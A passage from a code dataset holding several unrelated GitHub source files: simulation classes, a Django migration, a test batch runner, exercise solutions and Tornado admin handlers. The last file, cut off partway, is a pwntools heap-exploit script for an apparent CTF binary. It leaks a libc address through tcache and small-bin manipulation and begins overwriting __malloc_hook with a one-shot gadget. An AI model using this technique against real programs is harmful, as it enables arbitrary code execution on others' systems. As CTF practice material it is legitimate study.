= {self.n0}, n1 = {self.n1}\")\n\n if self.n0 == self.n1: # last cohort size equals current cohort size\n self.roll() # no need to resample from M, simply roll it\n if self.report: print (\"Rolling self.selected\\n\")\n\n else:\n self.selected = rng.choice(self.selected_initial, size = self.n1, replace = True)\n # construct a new self.selected for new sample size by resampling from the previous one\n if self.report: print (\"Resampling self.selected\\n\")\n\n else: # probabilities are dynamic\n self.probs = utils.check_probs(self.prob_fn()) # check that the changed probs are legit\n #old: self.probs = utils.check_probs(ap.ev(self.prob_fn)) # check that the changed probs are legit\n self.selected = rng.choice(self.k, p = self.probs, size = self.n1, replace=True).astype(np.int8)\n # int8 is much faster and we won't have > 256 modifications!\n if self.report: print (f\"Rebuilding self.selected, probs = {self.probs}\\n\")\n\n # set n0 to n1 so we can track whether sample size changes next time\n self.n0 = self.n1\n\n def roll (self):\n\n \"\"\" Instead of reconstructing the selector with self.select it is much\n faster to roll the selector, ensuring that each agent gets a new mod_list\n on each time step, but not changing the selector itself.\"\"\"\n\n self.selected = np.roll(self.selected, shift=rng.integers(10))\n\n def describe (self,level=0):\n pp = pprint.PrettyPrinter(indent = 3 * level)\n indent0 = ' ' * level\n indent1 = ' ' * (level + 1)\n return (\n f'{indent0}Mod_Selector:\\n'\n f'{indent1}cohort: {self.cohort.name}\\n'\n f'{indent1}prob_spec: {pprint.pformat(self.prob_spec)}\\n'\n f'{indent1}prob_fn: {pprint.pformat(self.prob_fn)}\\n'\n f'{indent1}probs: {self.probs}'\n )\n\n\n#______________________________________________________________________________\n\nclass Mod ():\n \"\"\"\n A Mod represents one or more modifications to a cohort. A Mod requires:\n\n 1) The cohort to which modifications apply\n 2) A list of k ��� 1 modlists\n 3) If k > 1, a prob_spec, which may be a Mod_Selector or the\n elements from which to build a Mod_Selector\n\n 1) A cohort object is passed as an argument. It may be a static or dynamic\n cohort, but if it is dynamic then the updates have already happened before\n the mods happen.\n\n 2) Each modlist is a list of zero or more acts.\n\n 3) If there's only one mod_list (i.e., k ==1) , then it applies to all cohort\n members. In this case, prob_spec need not be specified (i.e., defaults\n to None). If k > 1 then the Mod requires a Mod_Selector. There are three\n options:\n\n a. if prob_spec.__class_ == Mod_Selector, then prob_spec is\n used as the Mod_Selector,\n\n b. prob_spec is a list of probabilities\n\n c. prob_spec is a lambda expression that returns a list of probabilities.\n\n In cases b or c, Mod will build a Mod_Selector from these elements.\n\n Assume r is a Mod_Selector object. r.selected is a multinomial distribution\n over the integers 0 to k - 1. The ith mod_list is applied to cohort.members[r.selected==i].\n\n The Mod_Selector may be static or dynamic, and in either case might be rolled.\n Dynamic selectors might be rolled, resampled or rebuilt. See Mod_Selector.\n \"\"\"\n\n def __init__(self, name, cohort, mods, prob_spec = None):\n self.name = name\n self.cohort = cohort\n\n # syntactic check of mods:\n if not (type(mods) == list and type(mods[0]) == list):\n raise ValueError(f\"{mods} is not a list of mod_lists as required.\")\n\n if len(mods) > 1 and prob_spec is None:\n raise AttributeError(\"Need a mods_selector when mods contains more than one action list.\")\n\n # parse the mods catching empty modlists\n self.mods = [[None] if modlist == [] else modlist for modlist in mods]\n\n if len(mods) == 1 : # there's no need for a Mod_Selector or prob_spec\n self.mod_selector = None\n\n else:\n if prob_spec.__class__ == Mod_Selector: # if a Mod_Selector is passed in\n self.mod_selector = prob_spec\n else: # else need to make one\n self.mod_selector = Mod_Selector (self.cohort, prob_spec, len(mods))\n\n\n def select (self):\n \"\"\" This is shorthand for mod.mod_selector.select(). Not all Mods have\n Mod_Selectors (only those Mods that have multiple mod_lists do), so this\n function checks whether this Mod has a selector.\"\"\"\n\n if self.__dict__.get('mod_selector') is not None:\n self.mod_selector.select()\n\n\n def do_mods (self):\n\n def eval_mod(mod,selected):\n if callable(mod):\n return mod(selected=selected)\n elif hasattr(mod,'sexpr'):\n return mod.eval(selected=selected)\n else:\n raise TypeError (f\"Param {self.name} updater must be callable or a WN expression\")\n\n if len(self.mods) == 1: # Only one modlist, so it applies to entire cohort\n selected = self.cohort.members\n for mod in self.mods[0]:\n if mod is not None: eval_mod(mod,selected)\n else:\n i = -1\n for mod_list in self.mods:\n i += 1\n selected = self.cohort.members [ self.mod_selector.selected == i ]\n for mod in mod_list:\n if mod is not None: eval_mod(mod,selected)\n\n\n def describe (self,level=0):\n indent0, indent1 = ' ' * level, ' ' * (level + 1)\n pp = pprint.PrettyPrinter(indent = 3 * level)\n modstr = f\"{indent1}\".join(\n [f\"{pprint.pformat(mod, indent = level + 3)}\\n\" for mod in self.mods])\n if self.mod_selector is not None:\n mod_selector_str = self.mod_selector.describe(level+1)\n else:\n mod_selector_str = None\n\n return (\n f'{indent0}Mod\\n'\n f'{indent1}name: {self.name}\\n'\n f'{indent1}cohort: {self.cohort.name}\\n'\n f\"{indent1}mods: {modstr}\"\n f'{indent1}mod_selector: {mod_selector_str}\\n'\n )\n\n\n\nclass Act ():\n \"\"\"\n Acts are arbitrary chunks of code that run at setup or in the main\n simulation loop. Whereas Columns and Params hold simulation state\n and are updated by Mods and Param update_fns, respectively, Acts are\n not intended to hold any state information but simply make things --\n particularly non-sim processes -- happen. Acts are also useful for\n printing diagnostic information when debugging sims.\n\n Acts require an action0 argument and optionally a condition and action1\n argument, providing 'if condition then action0 else action1' control.\n\n \"\"\"\n def __init__(self, action0, condition=None, action1 = None):\n self.condition = self.make_callable(condition)\n self.action0 = self.make_callable(action0)\n self.action1 = self.make_callable(action1)\n\n def make_callable (self,expr):\n if expr is None:\n return None\n elif callable (expr):\n return expr\n elif hasattr(expr,'sexpr'):\n return expr.eval\n else:\n raise TypeError (\"Act {self.name} condition/action must be callable or a WN expression\")\n\n def do_act (self):\n if self.condition is None:\n self.action0()\n else:\n if self.condition():\n self.action0()\n else:\n if self.action1 is not None:\n self.action1()\n\n\n\n\n\n\n#%%\n\n##################################################################\n########\n######## TO DO\n########\n##################################################################\n\n# No provision for having a mod apply to multiple cohorts\n\n","repo_name":"paulrcohen/aPRAM","sub_path":"src/aPRAM_classes.py","file_name":"aPRAM_classes.py","file_ext":"py","file_size_in_byte":25839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"29073133189","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('filetemplate', '0005_filetemplatefield_is_property'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='filetemplate',\n name='file_for',\n field=models.CharField(max_length=6, choices=[('input', 'Input'), ('equip', 'Equipment'), ('output', 'Output')]),\n ),\n ]\n","repo_name":"LeafLIMS/LIMS-Backend","sub_path":"lims/filetemplate/migrations/0006_auto_20160915_1454.py","file_name":"0006_auto_20160915_1454.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"26"} +{"seq_id":"27237170485","text":"import argparse\nimport sys\n\nfrom glotter.source import get_sources\nfrom glotter.settings import Settings\nfrom glotter.utils import error_and_exit\nfrom glotter.download import download, remove_images\nfrom glotter.test import test\n\n\ndef batch(args):\n # Validate arguments\n if args.num_batches < 1:\n error_and_exit(\"Number of batches must be at least 1\")\n\n if args.batch is not None and (args.batch < 1 or args.batch > args.num_batches):\n error_and_exit(f\"Batch number must be from 1 to {args.num_batches}\")\n\n # Get all of the languages\n all_sources = get_sources(Settings().source_root)\n languages = sorted(\n {\n source.language.lower()\n for sources in all_sources.values()\n for source in sources\n }\n )\n num_languages = len(languages)\n num_batches = min(num_languages, args.num_batches)\n\n # Determine starting and ending batch\n if args.batch is None:\n first_batch = 0\n last_batch = num_batches\n elif args.batch <= num_batches:\n first_batch = args.batch - 1\n last_batch = args.batch\n else:\n sys.exit(0)\n\n # For each batch\n exit_code = 0\n for n in range(first_batch, last_batch):\n # Get languages for this batch\n batch_args = argparse.Namespace(\n source=None,\n project=None,\n language=set(\n languages[\n (n * num_languages // num_batches) : (\n (n + 1) * num_languages // num_batches\n )\n ]\n ),\n parallel=args.parallel,\n )\n\n # Download images for this batch\n _display_batch(\"Downloading images\", n, num_batches)\n containers = download(batch_args)\n\n # Run tests for this batch\n try:\n _display_batch(\"Testing\", n, num_batches)\n test(batch_args)\n except SystemExit as e:\n exit_code = exit_code or int(e.code)\n\n # If removing images, remove images for this batch\n if args.remove:\n _display_batch(\"Removing images\", n, num_batches)\n remove_images(containers, args.parallel)\n\n sys.exit(exit_code)\n\n\ndef _display_batch(prefix, n, num_batches):\n print(f\"\\n*** {prefix} for batch {n + 1} of {num_batches} ***\", flush=True)\n","repo_name":"rzuckerm/glotter2","sub_path":"glotter/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"26"} +{"seq_id":"22885301858","text":"# 118A\n\ntext = input()\n\nvowels = ['a', 'o', 'y', 'i', 'u', 'e']\n\ntext = text.lower()\nnew_text = \"\"\nfor i in range(len(text)):\n if text[i] not in vowels:\n new_text += \".\" + text[i]\nprint(new_text)\n","repo_name":"bekbossyn/problemset","sub_path":"codeforces/string_task/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"38794809335","text":"def adjacentElementsProduct(inputArray):\n temp = 0\n for x in range(len(inputArray)-1):\n product = inputArray[x] * inputArray[x+1]\n if product > temp:\n temp = product \n\n return temp\n\nnums = [4, 6, -2, -5, 7, 3]\n\nprint(adjacentElementsProduct(nums))","repo_name":"AdrianViverosL/CodeSignal_Exercises","sub_path":"adjacent_product.py","file_name":"adjacent_product.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"6907675759","text":"\"\"\"\nThis is a single test similar to syntax tests in Python-Markdown that are described at\n\nhttps://python-markdown.github.io/test_suite/#markdown-syntax-tests\n\nIt compares conversions of `./wikilinks.md` with `./wikilinks.html`.\n\"\"\"\n\nimport os\nimport unittest\n\nimport markdown\n\nfrom markdown_gollum import wikilinks\n\nTEST_IN = 'wikilinks.txt'\nTEST_OUT = 'wikilinks.html'\n\n\nclass TestWikiLinks(unittest.TestCase):\n \"\"\" Test Wikilinks Extension. \"\"\"\n\n def setUp(self):\n self.md = markdown.Markdown(extensions=[wikilinks.WikiLinkExtension()])\n\n def testSyntax(self):\n \"\"\" Test [[wikilinks]]. \"\"\"\n FILE_DIR = os.path.dirname(os.path.abspath(__file__))\n with open(os.path.join(FILE_DIR, TEST_IN)) as f_in:\n text_in = f_in.read()\n with open(os.path.join(FILE_DIR, TEST_OUT)) as f_out:\n text_out_expected = f_out.read().strip()\n text_out = self.md.convert(text_in)\n self.assertEqual(\n text_out,\n text_out_expected\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"dudarev/markdown-gollum","sub_path":"tests/tests_syntax.py","file_name":"tests_syntax.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"26"} +{"seq_id":"74659020868","text":"import json\nimport csv\nimport numpy as np\n\n\ndef calculate_iou(i0, i1):\n union = (min(i0[0], i1[0]), max(i0[1], i1[1]))\n inter = (max(i0[0], i1[0]), min(i0[1], i1[1]))\n iou = 1.0 * (inter[1] - inter[0]) / (union[1] - union[0])\n return max(0.0, iou)\n# thds = [x for x in np.linspace(0.05, 0.95, 20)]\n\n# thds = [np.around(\n# np.linspace(0.05, 0.95, 20), # numpy数组或列表\n# decimals=2 # 保留几位小数\n# )]\nthds = [0.05+0.05*i for i in range(0,19)]\nthds = np.around(\n thds, # numpy数组或列表\n decimals=2 # 保留几位小数\n)\n# thds = [x for x in np.linspace(0.05,0.95,19)]\nsplit = 'test_cellular'\nwith open('paper_results/psynd_tsn_fpn_recoveryselfattentionnonormhrlrfullbackbone_2023_04_10_09_23_18/test_results.json'.format(split), 'r') as fid:\n test_results = json.load(fid)\nmIoUs=[]\nfor thd in thds:\n test_dict={}\n for k,res in test_results['results'].items():\n segment = []\n for r_ in res:\n if r_['score']>thd:\n segment.append(r_['segment'])\n if len(segment)==0:\n continue\n # k = k.split('-')[0]\n test_dict[k]=segment\n\n \n # with open('data/SynDetect_gutenburg/test_annotation.csv', newline='') as csvfile:\n # # 读取CSV文件内容\n # reader = csv.reader(csvfile)\n # # 将CSV文件内容转换为字典\n # dict_data = {rows[0]: [[float(rows[1]),float(rows[2])]] for rows in reader}\n\n with open('data/Psynd/annotations/metadatabyola.json', 'r') as fid:\n gt = json.load(fid)\n dict_data = {}\n ious=[]\n for k,res in gt.items():\n if res['split']==split:\n segment = res['fake_periods']\n durations = res['duration']\n audio_frames = res['audio_frames']\n gt_frames = np.zeros(audio_frames)\n for seg in segment:\n start_index = int((seg[0]/durations)*audio_frames)\n end_index = int((seg[1]/durations)*audio_frames)\n gt_frames[start_index:end_index] = 1\n pred_frames = np.zeros(audio_frames)\n if k in test_dict.keys():\n for seg in test_dict[k]:\n start_index = int((seg[0]/durations)*audio_frames)\n end_index = int((seg[1]/durations)*audio_frames)\n pred_frames[start_index:end_index] = 1\n tp = (gt_frames == pred_frames).sum()\n fp = (gt_frames != pred_frames).sum()\n iou = tp / (tp + 2*fp)\n ious.append(iou)\n # ious = list()\n # not right\n\n\n\n mi = np.mean(ious) * 100.0\n mIoUs.append(mi)\nprint(\"{} iou:{}\".format(split,np.mean(mIoUs)))\nprint(\"{} iou best:{}\".format(split,np.max(mIoUs)))\n\n","repo_name":"ymhzyj/UMMAFormer","sub_path":"tools/test_miou.py","file_name":"test_miou.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"26"} +{"seq_id":"22208543669","text":"# -*- coding: utf8 -*-\r\nimport glob\r\nimport math\r\nimport os\r\nimport copy\r\nimport random\r\nimport sys\r\n\r\nimport cv2\r\nfrom PIL import Image, ImageDraw, ImageFont\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom settings import Settings as S\r\nfrom settings import Results as R\r\nfrom settings import Agent as A\r\nfrom settings import Task as T\r\n\r\n\r\ndef CreateRawDataGraphic(k):\r\n colors = [\"gray\", \"b\", \"g\", \"r\"]\r\n alpha = 0.3\r\n index = [i + 1 for i in range(S.experiments)]\r\n plt.cla()\r\n plt.figure(figsize=(10, 4))\r\n plt.xlabel(\"Experiment number\", fontsize=10)\r\n plt.ylabel(\"Distance, m\")\r\n for i in range(S.scenario_enemy_count):\r\n malicious_count = int(S.agents_count_array[k] * S.enemies_count_array[i] / 100)\r\n if i == 1:\r\n malicious_count = 1\r\n label = \"\"\r\n if malicious_count == 0:\r\n label += \"No malicious agents\"\r\n elif malicious_count == 1:\r\n label += \"1 malicious agent\"\r\n else:\r\n label += str(malicious_count) + \" malicious agents\"\r\n plt.plot(index, np.array(R.res_max[i]), color=colors[i], alpha=alpha)\r\n plt.plot([index[0], index[-1]], [np.mean(R.res_max[i]), np.mean(R.res_max[i])], label=label, color=colors[i])\r\n plt.legend(loc='upper right')\r\n plt.grid(True)\r\n pic = 'results/raw_graphic_for_' + str(S.agents_count_array[k]) + \"_agents.png\"\r\n plt.savefig(pic)\r\n CreateResultImage(pic)\r\n\r\n plt.cla()\r\n plt.figure(figsize=(10, 4))\r\n bp = plt.boxplot(x=R.res_max, patch_artist=True, medianprops=dict(color=\"black\"))\r\n for i in range(len(bp['boxes'])):\r\n bp['boxes'][i].set(facecolor=colors[i])\r\n y1 = int(S.agents_count_array[k] * S.enemies_count_array[1] / 100)\r\n y2 = int(S.agents_count_array[k] * S.enemies_count_array[2] / 100)\r\n y3 = int(S.agents_count_array[k] * S.enemies_count_array[3] / 100)\r\n plt.xticks([1, 2, 3, 4], [0, y1, y2, y3])\r\n plt.xlabel(\"Count of malicious agents\")\r\n plt.ylabel(\"Distance, m\")\r\n plt.grid(True)\r\n pic = 'results/result_for_' + str(S.agents_count_array[k]) + \"_robots.png\"\r\n plt.savefig(pic)\r\n CreateResultImage(pic)\r\n\r\n\r\ndef CreateResultImage(pic):\r\n image = Image.open(pic)\r\n new_im = Image.new('RGB', (850, 360))\r\n new_im.paste(image.crop((60, 40, 910, 400)), (0, 0))\r\n new_im.save(pic)\r\n\r\n\r\ndef AddDataToTable(k):\r\n values = [\"Max value\", \"Mean value\", \"Min value\"]\r\n file_m = \"a\"\r\n if k == 0:\r\n file_m = \"w\"\r\n with open(\"results/table.txt\", file_m) as file:\r\n if k == 0: # table header\r\n file.write(\"Criteria\" + '\\t')\r\n file.write(\"Distance, m\" + '\\t')\r\n file.write('\\r\\n')\r\n file.write(\"Agents count / malicious agents count\" + '\\t')\r\n for n in range(S.scenario_enemy_count):\r\n m = int(S.agents_count_array[k] * S.enemies_count_array[n] / 100)\r\n if n == 1:\r\n m = 1\r\n t = str(S.agents_count_array[k]) + \" / \" + str(m)\r\n file.write(t + '\\t')\r\n file.write('\\r\\n')\r\n\r\n for v in range(len(values)):\r\n file.write(str(values[v]) + '\\t')\r\n for n in range(S.scenario_enemy_count):\r\n if v == 0:\r\n d = np.max(R.res_max[n])\r\n elif v == 1:\r\n d = np.mean(R.res_max[n])\r\n else:\r\n d = np.min(R.res_max[n])\r\n file.write(str(round(d, 2)).replace('.', ',') + '\\t')\r\n file.write('\\r\\n')\r\n\r\n\r\ndef Main():\r\n for k in range(S.scenario_count): # scaling of agents count: 0 - 12, 1 - 56, 2 - 100\r\n for j in range(S.experiments):\r\n # generate the same input data for every simulation\r\n print(\"Experiment #\", str(k) + \".\" + str(j))\r\n tasks_positions = np.random.normal(S.edge_max / 2, S.edge_max / 4, [S.tasks_count, 2])\r\n agents_positions = np.random.normal(S.edge_min, 1.5, [S.agents_count_array[k], 2])\r\n agents, tasks = [], []\r\n for t in tasks_positions:\r\n if t[0] > S.edge_max:\r\n t[0] = S.edge_max\r\n elif t[0] < S.edge_min:\r\n t[0] = S.edge_min\r\n if t[1] > S.edge_max:\r\n t[1] = S.edge_max\r\n elif t[1] < S.edge_min:\r\n t[1] = S.edge_min\r\n tasks.append(T(t[0], t[1]))\r\n plt.scatter(t[0], t[1])\r\n for i in range(S.agents_count_array[k]):\r\n agents.append(A(agents_positions[i][0], agents_positions[i][1], i))\r\n\r\n for n in range(S.scenario_enemy_count):\r\n # generate different count of malicious agents for every simulation\r\n malicious_agents_count = int(S.agents_count_array[k] * S.enemies_count_array[n] / 100)\r\n if n == 1:\r\n malicious_agents_count = 1\r\n malicious_agents = random.sample(range(S.agents_count_array[k]), malicious_agents_count)\r\n\r\n counter = 0\r\n while counter < S.tasks_count + S.agents_count_array[k]:\r\n if S.demo:\r\n plt.cla()\r\n plt.scatter([-5, S.edge_max], [-5, S.edge_max], c=\"white\")\r\n\r\n for t in tasks:\r\n if not t.done and S.demo:\r\n c = \"grey\"\r\n if t.taken > -1:\r\n c = S.COLORS[t.taken]\r\n plt.scatter(t.x, t.y, marker=\"x\", c=c)\r\n for i in range(S.agents_count_array[k]):\r\n if agents[i].task is False: # agent has not task\r\n taken_task = agents[i].Allocate(tasks)\r\n if taken_task is not False:\r\n tasks[taken_task].taken = i\r\n else:\r\n continue\r\n if S.demo:\r\n plt.text(agents[i].x + .5, agents[i].y + .5, s=\"?..\")\r\n elif agents[i].task == -1: # all tasks are complete - return to base\r\n if not agents[i].complete:\r\n if agents[i].Control(agents[i].x_s[0], agents[i].y_s[0]):\r\n counter += 1\r\n agents[i].complete = True\r\n else:\r\n continue\r\n else:\r\n if agents[i].id in malicious_agents:\r\n tasks[agents[i].task].Update()\r\n agents[i].task = -1\r\n continue\r\n else:\r\n if agents[i].Control(tasks[agents[i].task].x, tasks[agents[i].task].y):\r\n if not tasks[agents[i].task].done:\r\n tasks[agents[i].task].done = True\r\n agents[i].x_s.append(tasks[agents[i].task].x)\r\n agents[i].y_s.append(tasks[agents[i].task].y)\r\n counter += 1\r\n agents[i].task = False\r\n if S.demo:\r\n for i in range(S.agents_count_array[k]):\r\n plt.scatter(agents[i].x, agents[i].y, c=S.COLORS[i])\r\n plt.plot(agents[i].x_s, agents[i].y_s, c=S.COLORS[i], alpha=0.2)\r\n last = len(agents[i].x_s) - 1\r\n plt.plot(\r\n [agents[i].x_s[last], agents[i].x],\r\n [agents[i].y_s[last], agents[i].y],\r\n c=S.COLORS[i],\r\n alpha=0.2\r\n )\r\n plt.title(str(S.agents_count_array[k]) + \" agents / \" + str(\r\n malicious_agents_count) + \" malicious agents\")\r\n plt.grid(True)\r\n plt.xlabel(\"x, m\", fontsize=12)\r\n plt.ylabel(\"y, m\", fontsize=12)\r\n plt.pause(0.00000001)\r\n r = R()\r\n for a in agents:\r\n if a.id not in malicious_agents:\r\n r.results.append(a.dist)\r\n a.Update()\r\n for t in tasks:\r\n t.Update()\r\n r.Collect(n)\r\n CreateRawDataGraphic(k)\r\n AddDataToTable(k)\r\n R.res_max = [[] for i in range(S.scenario_enemy_count)]\r\n\r\n\r\nif __name__ == '__main__':\r\n Main()\r\n","repo_name":"camper5530/D1","sub_path":"main_official.py","file_name":"main_official.py","file_ext":"py","file_size_in_byte":8847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"4738072361","text":"#!/usr/bin/env python3\n\nimport json\nimport re\nimport logging\nimport tornado.web\nfrom tornado.escape import *\n\nimport handler\nimport db\nimport util\nimport login\nimport settings\n\nlog = logging.getLogger(\"WebServer\")\n\nuser_fields = [\"id\", \"email\", \"password\", \"admin\"]\n\nclass ManageUsersHandler(handler.BaseHandler):\n @tornado.web.authenticated\n def get(self):\n global user_fields\n with db.getCur() as cur:\n cur.execute(\n \"SELECT Users.Id, Email, Password, Admins.Id IS NOT NULL\"\n \" FROM Users LEFT JOIN Admins ON Admins.Id = Users.Id\")\n users = [dict(zip(user_fields, row)) for row in cur.fetchall()]\n for user in users:\n user['admin'] = user['admin'] != 0\n invite_fields = [\"id\", \"email\", \"expires\"]\n cur.execute(\n \"SELECT {} FROM VerifyLinks ORDER BY {} DESC\".format(\n ', '.join(invite_fields), invite_fields[-1]))\n invites = [dict(zip(invite_fields, row)) for row in cur.fetchall()]\n\n page = self.render(\"users.html\", users=users, invites=invites)\n\n @handler.is_admin_ajax\n def post(self):\n global user_fields\n userdata = json.loads(self.get_argument('userdata', None))\n if userdata is None or not (\n isinstance(userdata['userID'], int) or\n userdata['userID'].isdigit() or userdata['userID'] == \"-1\"):\n return self.write(json.dumps(\n {'status':\"error\", 'message':\"Invalid user ID provided\"}))\n if not userdata['action'] in ['delete', 'update', 'resetpwd', 'add']:\n return self.write(json.dumps(\n {'status':\"error\",\n 'message':\"Invalid action requested: {}\".format(\n userdata['action'])}))\n try:\n user = str(userdata['userID'])\n action = userdata['action']\n updatedict = dict(\n [i for i in userdata.items()\n if not i[0] in ['action', 'userID']])\n log.debug('Request to {} user {} {}'.format(\n userdata['action'], userdata['userID'], updatedict))\n with db.getCur() as cur:\n if action != 'add':\n cur.execute(\"SELECT Id FROM Users WHERE Id = ?\", (user,))\n if cur.fetchone() is None:\n return self.write(json.dumps(\n {'status':\"error\",\n 'message':\"Please provide a valid user ID\"}))\n else:\n cur.execute(\"INSERT INTO Users (Email, Password) VALUES\"\n \" (?, ?)\", ('newuser', '?'))\n user = str(cur.lastrowid)\n log.info('Inserted new user ID {}'.format(user))\n\n if action == 'delete':\n cur.execute(\"DELETE from Admins WHERE Id = ?\", (user,))\n cur.execute(\"DELETE from Users WHERE Id = ?\", (user,))\n log.info('Deleted user {}'.format(user))\n elif action == 'resetpwd':\n code = util.randString(login.VerifyLinkIDLength)\n cur.execute(\"INSERT INTO ResetLinks(Id, User, Expires) \"\n \"VALUES (?, ?, ?)\",\n (code, user,\n login.expiration_date(duration=1).isoformat()))\n log.info('Set up password reset for user {}'.format(\n user))\n return self.write(json.dumps(\n {'status':\"success\",\n 'redirect': \"{}/reset/{}?nexturi={}&nexttask={}\".format(\n settings.PROXYPREFIX.rstrip('/'), code,\n url_escape('{}/users.html'.format(\n settings.PROXYPREFIX.rstrip('/'))),\n url_escape('Return to Users'))}))\n elif action == 'update':\n for colname, val in updatedict.items():\n col = colname.lower()\n if isinstance(val, str):\n val = val.lower()\n if not col in user_fields or not db.valid[\n col if col in db.valid else 'all'].match(val):\n return self.write(json.dumps(\n {'status':\"error\",\n 'message':\"Invalid column or value provided\"}))\n if not updatedict.get('Admin', False) == '1':\n cur.execute(\"DELETE from Admins WHERE Id = ?\", (user,))\n log.debug('Removed admin privilege from user {}'\n .format(user))\n else:\n cur.execute(\n \"INSERT OR IGNORE INTO Admins (Id) VALUES (?)\",\n (user,))\n log.debug('Granted admin privilege to user {}'\n .format(user))\n for colname, val in updatedict.items():\n if not colname.lower() in ('id', 'admin', 'password'):\n cur.execute(\"UPDATE Users SET {} = ? WHERE Id = ?\"\n .format(colname),\n (val, user))\n log.debug('Set {} to {} for user {}'.format(\n colname, val, user))\n elif action == 'add':\n pass\n else:\n return self.write(json.dumps(\n {'status':\"error\",\n 'message': \"Unknown action '{}' reqeusted\".format(\n action)}))\n return self.write(json.dumps({'status':\"success\"}))\n except Exception as e:\n log.error('Error in ManageUsersHandler.post: {}'.format(e))\n return self.write(json.dumps(\n {'status':\"error\",\n 'message':\"Invalid info provided\"}))\n\nclass ManageInvitesHandler(handler.BaseHandler):\n @handler.is_admin_ajax\n def post(self, inviteID):\n invitedata = json.loads(self.get_argument('invitedata', None))\n if invitedata is None or not (\n isinstance(inviteID, str) and\n len(inviteID) == login.VerifyLinkIDLength):\n return self.write(json.dumps(\n {'status':\"error\", 'message':\"Invalid invite ID provided\"}))\n try:\n action = invitedata['action']\n with db.getCur() as cur:\n if action == 'drop':\n cur.execute(\"DELETE from VerifyLinks WHERE Id = ?\",\n (inviteID,))\n log.info('Deleted invite {}'.format(inviteID))\n else:\n return self.write(json.dumps(\n {'status':\"error\",\n 'message':\"Invalid action requested: {}\".format(\n invitedata['action'])}))\n return self.write(json.dumps({'status':\"success\"}))\n except Exception as e:\n log.error('Error in ManageInvitesHandler.post: {}'.format(e))\n return self.write(json.dumps(\n {'status':\"error\",\n 'message':\"Invalid info provided\"}))\n","repo_name":"BlaiseRideout/tomas","sub_path":"admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":7466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"74256563907","text":"from pwn import *\nfrom struct import pack\nimport sys\n\n\n# ** Constants\nPAGE_BYTE_BASE = 0x30\n\nMSG_NEW_PAGE_IN_DIARY = b'1'\nMSG_TALK_TO_GHOST = b'2'\nMSG_LISTEN_TO_GHOST = b'3'\nMSG_BURN_PAGE = b'4'\nMSG_GO_TO_SLEEP = b'5'\n\nMSG_SMALL_ALLOCATION = b'1'\nMSG_BIG_ALLOCATION = b'2'\n\n# ** Constants foud by manual enumeration\nSMALL_BIN_OFFSET = 0x3ebf10\nMALLOC_HOOK_OFFSET = 0x3ebc30\nONE_SHOT_OFFSET = 0x10a38c\n\n\ndef page(idx):\n return str(idx).encode('utf-8')\n\n\ndef psize(page_size):\n return str(page_size - 0x8).encode('utf-8')\n\n\ndef allocate_page(page_size):\n read_menu()\n p.sendline(MSG_NEW_PAGE_IN_DIARY)\n p.recvuntil(b'1. Write on one side?\\n')\n p.recvuntil(b'2. Write on both sides?\\n')\n p.recvuntil(b'> ')\n if int(page_size) < 0xf1:\n p.sendline(MSG_SMALL_ALLOCATION)\n else:\n p.sendline(MSG_BIG_ALLOCATION)\n p.recvuntil(b'size: ')\n p.sendline(page_size)\n\n\ndef write_on_page(page_idx, content):\n read_menu()\n p.sendline(MSG_TALK_TO_GHOST)\n p.recvuntil(b'Page: ')\n p.sendline(page_idx)\n p.recvuntil(b'Content: ')\n p.sendline(content)\n\n\ndef read_page(page_idx):\n read_menu()\n p.sendline(MSG_LISTEN_TO_GHOST)\n p.recvuntil(b'Page: ')\n p.sendline(page_idx)\n page_content = p.readline()[len(b'Content: '):-1]\n return page_content\n\n\ndef free_page(page_idx):\n read_menu()\n p.sendline(MSG_BURN_PAGE)\n p.recvuntil(b'Page: ')\n p.sendline(page_idx)\n\n\ndef exit_program():\n read_menu()\n p.sendline(MSG_GO_TO_SLEEP)\n\n\ndef read_menu():\n p.recvuntil(b'1. New page in diary\\n2. Talk with ghost\\n3. Listen to ghost\\n4. Burn the page\\n5. Go to sleep\\n> ')\n\n\ndef get_libc_base():\n # 7 chunk for tcache + 2 chunks for small bin list + 1 chunk to prevent from consolidation with top chunk\n for i in range(0, 10):\n allocate_page(psize(0x134))\n\n # Fill tchace with pages [0-6] + small bin with pages [7-8]. Page with idx.7 will contain libc small bin address in fd\n for i in range(0, 9):\n free_page(page(i))\n\n # As tcache is a LIFO, the chunk containing address of page 0 as fd field has now index 5.\n # Chunk containing libc address is now indexed as page 7\n for i in range(0, 9):\n allocate_page(psize(0x134))\n\n small_bin_addr = read_page(b'7')[:8]\n pad_len = 8 - len(small_bin_addr)\n small_bin_addr = u64(small_bin_addr + pad_len * b'\\x00')\n libc_base = small_bin_addr - SMALL_BIN_OFFSET\n log.info(\"Libc base: \" + hex(libc_base))\n\n for i in range(0, 7):\n free_page(page(i))\n for i in range(9, 6, -1):\n free_page(page(i))\n\n return libc_base\n\n\ndef overwrite_malloc_hook(libc_base):\n malloc_hook_addr = libc_base + MALLOC_HOOK_OFFSET\n\n # some magic to fill tcache 0x100\n for i in range(0, 7):\n allocate_page(psize(0x20))\n allocate_page(psize(0x18e))\n allocate_page(psize(0x10)) # to prevent top chunk consolidation\n for i in range(0, 14, 